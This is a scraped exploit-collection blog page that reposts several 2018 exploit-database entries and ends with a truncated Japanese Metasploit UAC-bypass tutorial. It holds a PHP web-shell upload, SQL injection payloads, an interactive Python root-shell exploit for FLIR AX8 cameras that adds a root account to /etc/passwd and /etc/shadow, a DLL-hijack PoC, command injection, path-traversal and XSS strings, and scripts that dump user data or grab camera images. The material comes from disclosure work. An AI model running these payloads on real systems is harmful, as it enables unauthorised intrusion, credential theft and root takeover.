Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863587302

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Advanced HRM 1.6 - Remote Code Execution
# Google Dork: intext:"Advanced HRM" 
# Date: 2018-10-06
# Exploit Author: Renos Nikolaou
# Vendor Homepage: https://coderpixel.com/
# Software Link: https://codecanyon.net/item/advanced-hrm/17767006
# Version: 1.6
# Tested on: Windows 10
# CVE: N/A
# Description : Advanced HRM 1.6 allows users to upload arbitrary files which 
# leads to a remote command execution on the remote server.

# PoC
# 1) Create a php file with the below code:

<?php $cmd=$_GET['cmd']; system($cmd); ?>

# 2) Login to Advanced HRM portal as low priviliage user
# 3) At the right hand side go to Update Profile --> Change Picture ( http://domain/hrm/user/edit-profile )
# 4) Click Browse and upload your file containing the PHP code mentioned at step 1. 
# 5) Click Update
# 6) Right click at the Profile image and select Copy image Location
# 7) Paste the URL into your browser. Will be similar to: http://domain/hrm/assets/employee_pic/cmd.php
# 8) Verify the exploit: http://domain/hrm/assets/employee_pic/cmd.php?cmd=id

# The request:
===================

POST /hrm/user/update-user-avatar HTTP/1.1
Host: domain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain/hrm/user/edit-profile
Content-Type: multipart/form-data; boundary=---------------------------6610657524685
Content-Length: 378
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------6610657524685
Content-Disposition: form-data; name="image"; filename="cmd.php"
Content-Type: application/octet-stream

<?php $cmd=$_GET['cmd']; system($cmd); ?>

-----------------------------6610657524685
Content-Disposition: form-data; name="_token"

yWFLEpnGV1n5OzK7sAPWg6UVJG02Q
-----------------------------6610657524685--
HireHackking 
# Exploit Title: College Notes Management System 1.0 - 'user' SQL Injection
# Dork: N/A
# Date: 2018-10-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://anirbandutta.ml/
# Software Link: https://sourceforge.net/projects/college-notes-management/
# Software Link: https://github.com/anirbandutta9/College-Notes-Gallery
# git clone https://git.code.sf.net/p/college-notes-management/code college-notes-management-code
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://192.168.1.27/[PATH]/login.php
# login.php
# ......
# if (isset($_POST['login'])) {
#   $username  = $_POST['user'];
#   $password = $_POST['pass'];
#   mysqli_real_escape_string($conn, $username);
#   mysqli_real_escape_string($conn, $password);
# $query = "SELECT * FROM users WHERE username = '$username'";
# $result = mysqli_query($conn , $query) or die (mysqli_error($conn));
# if (mysqli_num_rows($result) > 0) {
#   while ($row = mysqli_fetch_array($result)) {
#     $id = $row['id'];
#     $user = $row['username'];
#     $pass = $row['password'];
#     $name = $row['name'];
# ......

POST /[PATH]/login.php HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 240
user='%20aND%20(SeleCT%207804%20FroM(SeleCT%20COUNT(*),ConCaT((SeleCT%20(ELT(7804=7804,1))),ConCaT_WS(0x203a20,usER(),DaTaBaSE(),VERSIon()),FloOR(RaND(0)*2))x%20FroM%20INFORMaTIon_SCHEMa.PLugINS%20GroUP%20BY%20x)a)--%20Efe&pass=&login=login
HTTP/1.1 200 OK
Date: Sat, 15 Oct 2018 00:51:03 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=b6mgibtddijtde10ti6umf9kc5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1843
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HireHackking 
# Exploit Title: FLIR AX8 Thermal Camera 1.32.16 - Remote Code Execution
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Date: 2018-10-14
# Vendor: FLIR Systems, Inc.
# Product web page: https://www.flir.com
# Affected version: Firmware: 1.32.16, 1.17.13, OS: neco_v1.8-0-g7ffe5b3, Hardware: Flir Systems Neco Board
# Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l), lighttpd/1.4.33, PHP/5.4.14
# References:
# Advisory ID: ZSL-2018-5491
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5491.php

# Desc: The FLIR AX8 thermal sensor camera suffers from two unauthenticated
# command injection vulnerabilities. The issues can be triggered when calling
# multiple unsanitized HTTP GET/POST parameters within the shell_exec function
# in res.php and palette.php file. This can be exploited to inject arbitrary
# system commands and gain root remote code execution.

# /FLIR/usr/www/res.php:
# ----------------------
# 1. <?php
# 2.   if (isset($_POST["action"])) {
# 3.     switch ($_POST["action"]) {
# 4.       case "get":
# 5.         if(isset($_POST["resource"]))
# 6.         {
# 7.           switch ($_POST["resource"]) {
# 8.             case ".rtp.hflip":
# 9.               if (!file_exists("/FLIR/system/journal.d/horizontal_flip.cfg")) {
# 10.                $result = "false";
# 11.                break;
# 12.              }
# 13.              $result = file_get_contents("/FLIR/system/journal.d/horizontal_flip.cfg") === "1" ? "true" : "false";
# 14.              break;
# 15.            case ".rtp.vflip":
# 16.              if (!file_exists("/FLIR/system/journal.d/vertical_flip.cfg")) {
# 17.                $result = "false";
# 18.                break;
# 19.              }
# 20.              $result = file_get_contents("/FLIR/system/journal.d/vertical_flip.cfg") === "1" ? "true" : "false";
# 21.              break;
# 22.            default:
# 23.              $result = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -o ".$_POST["resource"]));
# 24.          }
# 25.        }

# /FLIR/usr/www/palette.php:
# --------------------------
# 1. <?php
# 2.   if(isset($_POST["palette"])){
# 3.     shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette ".$_POST["palette"]);
# 4.     echo json_encode(array("success"));
# 5.   }
# 6. ?>


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import colorama
import random##
import time####
import json####
import sys#####
import os######

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
    print '\n\x20\x20[*] Usage: '+piton+' <ip:port>\n'
    sys.exit()

bannah = """
.---------------------------------.
|         1984 Pictures           |
|                                 |
|            presents             |
|                  ___            |
|                [|   |=|{)__     |
|                 |___| \/   )    |
|                  /|\      /|    |
|                 / | \     | \\   |
.---------------------------------.
"""
print bannah
time.sleep(4)
os.system('clear')

print '\nFLIR AX8 Thermal Camera Remote Root Exploit'
print 'By Zero Science Lab'

ICU = '''
                ````````                
           `./+ooosoooooo+/.`           
        `.+ss+//:::::::://+ss+.`        
       -oyo/::::-------:::::/oyo-       
     `/yo+:::-------.------:::+oy/`     
    `+yo+::---...........----:/+oy+`    
   `/yo++/--...../+oo+:....---:/+oy/`   
   `ss++//:-.../yhhhhhhy/...-://++ss`   
   .ho++/::--.-yhhddddhhy-.--:://+oh.   
   .ho+//::---/mmmmmmmmmm:---::/++oh.   
   `ss++//::---+mNNNNNNm+---:://++ss`   
   `/yo+//:::----+syys+-----://++oy/`   
    `+yo++//:::-----------:://++oy+`    
     `/yo++///:::::-:::::://+++oy/`     
       .oyo+++////////////+++oyo.       
        `.+ssoo++++++++++ooss+.`        
           `./+osssssssso+/.`           
                ````````                
'''

colors = list(vars(colorama.Fore).values())
colored_chars = [random.choice(colors) + char for char in ICU]

print(''.join(colored_chars))

print
print '\x1b[1;37;44m'+'To freeze the stream run:   '+'\x1b[0m'+' /FLIR/usr/bin/freeze on'
print '\x1b[1;37;41m'+'To unfreeze the stream run: '+'\x1b[0m'+' /FLIR/usr/bin/freeze off\n'

print '[*] Additional commands:'
print ' [+] \'addroot\' for add root user.'
print ' [+] \'exit\' for exit.\n'

while True:

    zeTargets = 'http://'+sys.argv[1]+'/res.php'
    zeCommand = raw_input('\x1b[0;96;49m'+'root@neco-0J0X17:~# '+'\x1b[0m')
    zeHeaders = {'Cache-Control'   : 'max-age=0',
                 'User-Agent'      : 'thricer/251.4ev4h',
                 'Accept'          : 'text/html,application/xhtml+xml',
                 'Accept-Encoding' : 'gzip, deflate',
                 'Accept-Language' : 'mk-MK,mk;q=1.7',
                 'Connection'      : 'close',
                 'Connection-Type' : 'application/x-www-form-urlencoded'}
    zePardata = {'action'          : 'get',
                 'resource'        : ';'+zeCommand}

    try:

        zeRequest = requests.post(zeTargets, headers=zeHeaders, data=zePardata)
        print json.loads(zeRequest.text)

        if zeCommand.strip() == 'exit':
            sys.exit()

        if zeCommand.strip() == 'addroot':
            print '[+] Blind command injection using palette.php...'
            print '[+] Adding user \'roOt\' with password \'rewt\' in shadow file...'

            nuTargets = 'http://'+sys.argv[1]+'/palette.php'
            nuHeaders = zeHeaders

            nuHexstrn = ('\\x72\\x6f\\x4f\\x74\\x3a\\x24\\x31'
                         '\\x24\\x4d\\x4a\\x4f\\x6e\\x56\\x2f'
                         '\\x59\\x33\\x24\\x74\\x44\\x6e\\x4d'
                         '\\x49\\x42\\x4d\\x79\\x30\\x6c\\x45'
                         '\\x51\\x32\\x6b\\x44\\x70\\x66\\x67'
                         '\\x54\\x4a\\x50\\x30\\x3a\\x31\\x36'
                         '\\x39\\x31\\x34\\x3a\\x30\\x3a\\x39'
                         '\\x39\\x39\\x39\\x39\\x3a\\x37\\x3a'
                         '\\x3a\\x3a\\x0a\\x0d')

            nuPadata1 = {'palette' : '1;echo \"roOt:x:0:0:pwn:/sys:/bin/bash\" >> /etc/passwd'}
            nuPadata2 = {'palette' : '1;echo -n -e \"'+nuHexstrn+'\" >> /etc/shadow'}

            requests.post(nuTargets, headers=nuHeaders, data=nuPadata1)
            time.sleep(2)
            requests.post(nuTargets, headers=nuHeaders, data=nuPadata2)
            
            print '[*] Success!\n'
        else: pass

    except Exception:
        print '[*] Error!'
        break

sys.exit()
HireHackking 
# Exploit Title: KORA 2.7.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.matrix.msu.edu/
# Software Link: https://sourceforge.net/projects/kora/files/latest/download
# Version: 2.7.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax/control.php?action=assocSearch&pid=1&sid=1&cid=[SQL]&keywords=1
# 
# (CASE WHEN (22=22) THEN 22 ELSE 1*(SELECT 22 FROM DUAL UNION SELECT 66 FROM DUAL) END)
# 
# 1)+UNION+ALL+SELECT+null,null,null,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
# 
GET /[PATH]/ajax/control.php?action=assocSearch&pid=1&sid=1&cid=-1)+UNION+ALL+SELECT+null,null,null,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-&keywords=1 HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 13 Oct 2018 02:01:22 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=pa377tajtaocbeauhd67llk8l4; path=/
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 536
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#
HireHackking 
<?php
# Exploit Title: Academic Timetable Final Build 7.0a-7.0b - User Information Disclosure
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://geoffpartridge.net/
# Software Link: https://sourceforge.net/projects/timetableacademic/files/latest/download
# Version: 7.0a-7.0b
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
header ('Content-type: text/html; charset=UTF-8');

$urlemiz= "http://192.168.1.27/[PATH]/";
$yuk="server_user.php?sEcho=10&iColumns=10&iDisplayStart=0&iDisplayLength=10&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSearchable_3=0";
$jsonveri = file_get_contents($urlemiz.$yuk);
$ver = json_decode($jsonveri,true);
echo "<pre>\n";
print_r($ver);
echo "\n</pre>";
/**
Array
(
    [sEcho] => 10
    [iTotalRecords] => 3
    [iTotalDisplayRecords] => 3
    [aaData] => Array
        (
            [0] => Array
                (
                    [0] => testdb1
                    [1] => testdb1
                    [2] => ADMIN
                    [3] => *6CC4E8CFFEAF202D7475BC906612F9A29A9C8117
                )

            [1] => Array
                (
                    [0] => ADMIN
                    [1] => admin
                    [2] => ADMIN
                    [3] => *4ACFE3202A5FF5CF467898FC58AAB1D615029441
                )

            [2] => Array
                (
                    [0] => STAFF
                    [1] => Staff
                    [2] => VIEW
                    [3] => 
                )

        )

)
 */
?>
HireHackking 
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NOMACHINE-TROJAN-FILE-REMOTE-CODE-EXECUTION.txt
[+] ISR: ApparitionSec          
 
Greetz: ***Greetz: indoushka | Eduardo ***

[Vendor]
www.nomachine.com


[Product]
NoMachine  <= v5.3.26

NX technology, developed by NoMachine, and commonly known as "NX" is a proprietary computer program that provides desktop and remote access.
It consists of a suite of products for desktop virtualization and application delivery for servers, and client software.



[Vulnerability Type]
Trojan File Remote Code Execution


[Affected Component]
wintab32.dll


[CVE Reference]
CVE-2018-17980


[Security Issue]
Possible arbitrary code execution when opening a ".nxs" nomachine file type on client's wintab32.dll preload.
This issue regards the client part of all NoMachine installations on Windows (NoMachine free, NoMachine Enterprise Client, NoMachine Enteprise Desktop and NoMachine Cloud Server).

1) create a 32 bit DLL named "wintab32.dll"
2) create an native nomachine ".NXS" file and open it alongside the trojan "wintab32.dll" DLL from Network share or any dir.
BOOM!


[References]
https://www.nomachine.com/TR10P08887



[Exploit/POC]

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 wintab32.c
gcc -shared -m32 -o wintab32.dll wintab32.o
*/

void executo(){
 MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , ":)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
 switch(fdwReason){
  case DLL_PROCESS_ATTACH:{
	executo();
	break;
	}
  case DLL_PROCESS_DETACH:{
	executo();
	break;
	}
  case DLL_THREAD_ATTACH:{
	executo();
	break;
       }
  case DLL_THREAD_DETACH:{
	executo();
	break;
	}
   }
	return TRUE;
}


[Network Access]
Remote



[Severity]
High



[Disclosure Timeline]
Vendor Notification: September 26, 2018
Vendor verified vulnerability: September 28, 2018
CVE assigned by Mitre: October 4, 2018
Vendor release fixed version: October 11, 2018
October 11, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
HireHackking 
# Exploit Title: Centos Web Panel 0.9.8.480 Multiple Vulnerabilities
# Exploit Author: Seccops - Siber Güvenlik Hizmetleri (https://seccops.com)
# Vendor Homepage: http://centos-webpanel.com/
# Software Link: http://centos-webpanel.com/system-requirements
# Version: 0.9.8.480
# Tested on: Centos 7
# Vulnerability Types: Command Injection, Local File Inclusion, Cross-site Scripting, Frame Injection
# CVE: -
  
### Vulnerability Name: Command Injection ###
 
1)
Proof URL: http://localhost:2030/admin/index.php?service_start=opendkim;expr 268409241 - 2;x  
Parameter Name: service_start  
Parameter Type: GET  
Attack Pattern: opendkim%3bexpr+268409241+-+2%3bx 
 
HTTP Request:
 
GET /admin/index.php?service_start=opendkim%3bexpr%20268409241%20-%202%3bx HTTP/1.1
Host: localhost:2030
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: cwpsrv-983b3c1326b3c5dafa7941a1ef2fbf67=jhg556f3k83kpgbhbdfsd0pps6; resolve_ids=0; roundcube_sessid=j2h7ad1kb1coji7hba2bo5pil5; order_dir_list_by=7D
Referer: http://localhost:2030/admin/
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
 
Note: Mathematical process: 268409241 - 2. So, the result is expected 268409239.
 
HTTP Response:
 
HTTP/1.1 200 OK
Server: cwpsrv
X-Powered-By: PHP/7.0.24
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Mon, 01 Oct 2018 21:06:42 GMT
Cache-Control: no-store, no-cache, must-revalidate
 
    HTML Content:
 
        <div class='alert alert-warning'>
                    <button type='button' class='close' data-dismiss='alert'>×</button>
                    <strong>WARNING!</strong> <pre>268409239
        sh: x.service: command not found
        </pre><br>
 
2)
Proof URL: http://localhost:2030/admin/index.php?service_restart=sshd;expr 268409241 - 2;x  
Parameter Name: service_restart  
Parameter Type: GET  
Attack Pattern: sshd%3bexpr+268409241+-+2%3bx
 
3)
Proof URL: http://localhost:2030/admin/index.php?service_fullstatus=opendkim;expr 268409241 - 2;x  
Parameter Name: service_fullstatus  
Parameter Type: GET  
Attack Pattern: opendkim%3bexpr+268409241+-+2%3bx 
 
4)
Proof URL: http://localhost:2030/admin/index.php?service_stop=named;expr 268409241 - 2;x  
Parameter Name: service_stop  
Parameter Type: GET  
Attack Pattern: named%3bexpr+268409241+-+2%3bx
 
### Vulnerability Name: Local File Inclusion ###
 
1)
Proof URL: http://localhost:2030/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd  
Parameter Name: file  
Parameter Type: GET  
Attack Pattern: %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  
 
HTTP Request:
 
GET /admin/index.php?module=file_editor&file=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: localhost:2030
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: cwpsrv-983b3c1326b3c5dafa7941a1ef2fbf67=jhg556f3k83kpgbhbdfsd0pps6; resolve_ids=0; roundcube_sessid=j2h7ad1kb1coji7hba2bo5pil5; order_dir_list_by=7D
Referer: http://localhost:2030/admin/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
 
HTTP Response:
 
HTTP/1.1 200 OK
Server: cwpsrv
X-Powered-By: PHP/7.0.24
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Date: Mon, 01 Oct 2018 20:45:19 GMT
Cache-Control: no-store, no-cache, must-revalidate
 
    HTML Content:
        File info <a href='index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd&stats=yes'>[stats]</a>:<pre>-rw-r--r-- 1 root root 2272 Sep 28 07:48 /../../../../../../../../../../../etc/passwd
        </pre><h3>Contents of File: /../../../../../../../../../../../etc/passwd</h3>
            <form action='' method= 'post'>
            <textarea id='textarea' name='newd' cols='100%' rows='50'>root:x:0:0:root:/root:/bin/bash
        bin:x:1:1:bin:/bin:/sbin/nologin
        daemon:x:2:2:daemon:/sbin:/sbin/nologin
        adm:x:3:4:adm:/var/adm:/sbin/nologin
        lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
        sync:x:5:0:sync:/sbin:/bin/sync
        etc...
        
### Vulnerability Name: Cross-site Scripting & Frame Injection ###
 
1)
Proof URL: http://localhost:2030/admin/fileManager2.php?frame=3&action=8&cmd_arg=design&fm_current_dir=<scRipt>alert(1)</scRipt>  
Parameter Name: fm_current_dir  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
2)
Proof URL: http://localhost:2030/admin/index.php?module=<scRipt>alert(1)</scRipt>&file=/etc/sysconfig/selinux  
Parameter Name: module  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
3)
Proof URL: http://localhost:2030/admin/index.php?service_start=<scRipt>alert(1)</scRipt>  
Parameter Name: service_start  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
4)
Proof URL: http://localhost:2030/admin/index.php?service_fullstatus=<scRipt>alert(1)</scRipt>  
Parameter Name: service_fullstatus  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
5)
Proof URL: http://localhost:2030/admin/index.php?service_restart=<scRipt>alert(1)</scRipt>  
Parameter Name: service_restart  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
6)
Proof URL: http://localhost:2030/admin/index.php?service_stop=<scRipt>alert(1)</scRipt>  
Parameter Name: service_stop  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
7)
Proof URL: http://localhost:2030/admin/index.php?module=file_editor&file=<scRipt>alert(1)</scRipt>  
Parameter Name: file  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
 
8)
Proof URL: http://localhost:2030/admin/index.php?module=<scRipt>alert(1)</scRipt>&dir=/var/log  
Parameter Name: module  
Parameter Type: GET  
Attack Pattern for XSS: %3cscRipt%3ealert(1)%3c%2fscRipt%3e
Attack Pattern for Frame Injection: %3ciframe+src%3d%22https%3a%2f%2fseccops.com%2f%3f%22%3e%3c%2fiframe%3e
HireHackking 
FLIR Systems FLIR Brickstream 3D+ Unauthenticated RTSP Stream Disclosure


Vendor: FLIR Systems, Inc.
Product web page: http://www.brickstream.com
Affected version: Firmware: 2.1.742.1842
                  Api: 1.0.0
                  Node: 0.10.33
                  Onvif: 0.1.1.47

Summary: The Brickstream line of sensors provides highly accurate, anonymous
information about how people move into, around, and out of physical places.
These smart devices are installed overhead inside retail stores, malls, banks,
stadiums, transportation terminals and other brick-and-mortar locations to
measure people's behaviors within the space.

Desc: The FLIR Brickstream 3D+ sensor is vulnerable to unauthenticated and
unauthorized live RTSP video stream access.

Tested on: Titan
           Api/1.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5496
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5496.php


26.07.2018

--


#!/bin/bash
#
# PoC:
#

echo 'Fetching some images...'
for x in {1..10};
    do curl http://192.168.2.1:8083/middleImage.jpg -o sequence-$x.jpg -#;
    done
echo 'Done.'
sleep 2
echo 'Generating video...'
sleep 2
ffmpeg -r 1 -i sequence-%01d.jpg -c:v libx264 -vf fps=60 -pix_fmt yuv444p counted_people.mp4
echo 'Running generated video...'
sleep 2
vlc counted_people.mp4

#
# http://192.168.2.1:8083/middleImage.jpg
# http://192.168.2.1:8083/rightimage.jpg
# http://192.168.2.1:8083/leftimage.jpg
# http://192.168.2.1:8083/threeDimage.jpg
# http://192.168.2.1:8083/startStopTrafficMapImage.jpg
# http://192.168.2.1:8083/dwellTrafficMapImage.jpg
# http://192.168.2.1:8083/heightTrafficMapImage.jpg
#
HireHackking

1。ユーザーアカウントコントロールの紹介（UAC）

この記事では、ユーザーアカウントコントロール、つまりUACを簡単に紹介します。また、マルウェアから潜在的に保護し、UACのプロンプトがシステムに引き起こす可能性のある問題のいくつかを無視できる方法を検討します。

1.ユーザーアカウントコントロール（UAC）とは何ですか？

MicrosoftのWindows Vista and Windows Server 2008オペレーティングシステムは、予測可能で少量の操作のみを必要とするシステム全体の予期しない変更を防ぐために、優れたユーザーアカウント制御アーキテクチャを導入します。

言い換えれば、これはWindowsのセキュリティ機能であり、オペレーティングシステムの不正な変更を防ぐことをサポートするものであり、UACは、管理者が許可した場合にのみ特定の変更が行われることを保証します。管理者が変更を許可しない場合、これらの変更は実行されず、Windowsシステムは同じままです。

2. UACはどのように機能しますか？

UACは、システムの変更/特定のタスクを含むタスクの実行をプログラムにブロックすることにより実行されます。これらの操作を実行しようとするプロセスが管理者の特権で実行されない限り、これらの操作は実行されません。管理者としてプログラムを実行すると、管理者として実行されるプログラムの代わりに「昇格」になるため、より多くの権限があります。

管理者の特権なしでは完了できないいくつかの操作：

レジストリの変更（レジストリキーがhkey_local_machineの下にある場合（複数のユーザーに影響するため）、読み取り専用になります）

デバイスドライバーのロード

DLL注射

システム時間（クロック）を変更する

ユーザーアカウント制御設定を変更する（この設定はレジストリを介して有効/無効にすることができますが、これを行うには正しいアクセス許可が必要です）

保護されたディレクトリ（Windowsフォルダー、プログラムファイルなど）を変更する

スケジュールされたタスク（たとえば、管理者の特権から自動的に開始）

UACはマルウェアを自動的にブロックするわけではなく、その目的はプログラムがマルウェアであるかどうかを判断することではありません。また、ユーザーに依存します。プログラムが管理者の特権で実行される場合、ユーザーは思い出され、ユーザーは確認する必要があります。

https://malwaretips.com/threads/why-uac-is-important-and-how-it-can-protect-you.47157/

2。 UACをバイパスする方法

最初に、Exploreを通じてターゲットホストのメーターを取得します。 MeterPreterセッション1を取得した後、次のコマンドを入力して、システムの許可があるかどうかを確認します。

GetSystem

getuid

システム/管理者の権限がない場合。次に、ターゲットシステムのUAC保護をバイパスする必要があります。

1。方法1：Windowsの許可アップグレードバイパスUAC保護

このモジュールは、プロセスインジェクションを通じて信頼できるパブリッシャー証明書を使用してWindows UACをバイパスします。 UACフラグを閉じる2番目のシェルが生成されます。

msfuseexploit/windows/local/bypassuac

msfexploitWindows/local/bypassuac）setSession1

msfexploit（Windows/Local/Bypassuac）エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。これは、次のコマンドがシステムの許可権を決定することです。

GetSystem

getuid

非常に良い、ここではNT Authority \ Systemの許可を取得します。「Shell」コマンドを入力すると、管理者の許可を使用してコマンドプロンプトが表示されます。

1sw1u4zdi5i8167.png

2。方法2：Windows Permissions Enhancement Bypass UAC保護（メモリインジェクション）

このモジュールは、プロセスインジェクションを通じて信頼できるパブリッシャー証明書を使用してWindows UACをバイパスします。 UACフラグを閉じる2番目のシェルが生成されます。一般的なテクノロジーでは、モジュールは反射DLLインジェクションテクノロジーを使用し、3つの個別のバイナリファイルではなく、DLLペイロードバイナリのみを削除します。ただし、正しいアーキテクチャを選択する必要があります（x64はSyswow64システムにも使用されます）。 exe:customが指定されている場合、別のプロセスでペイロードを開始した後、exitprocess（）を呼び出す必要があります。

msfuseexploit/windows/local/bypassuac_injection

msfexploit（Windows/local/bypassuac_injection）setSession1

msfexploit（Windows/local/bypassuac_injection）エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。次のコマンドを入力して、システム許可権を決定します。

GetSystem

getuid

最後に、NT Authority \ Systemの許可を取得し、「シェル」コマンドを入力すると、管理者の権限を使用してコマンドプロンプトが表示されます。

qn42finc3uo8168.png

3。方法3：Windows UAC保護をバイパス（Fodhelperレジストリキーを介して）

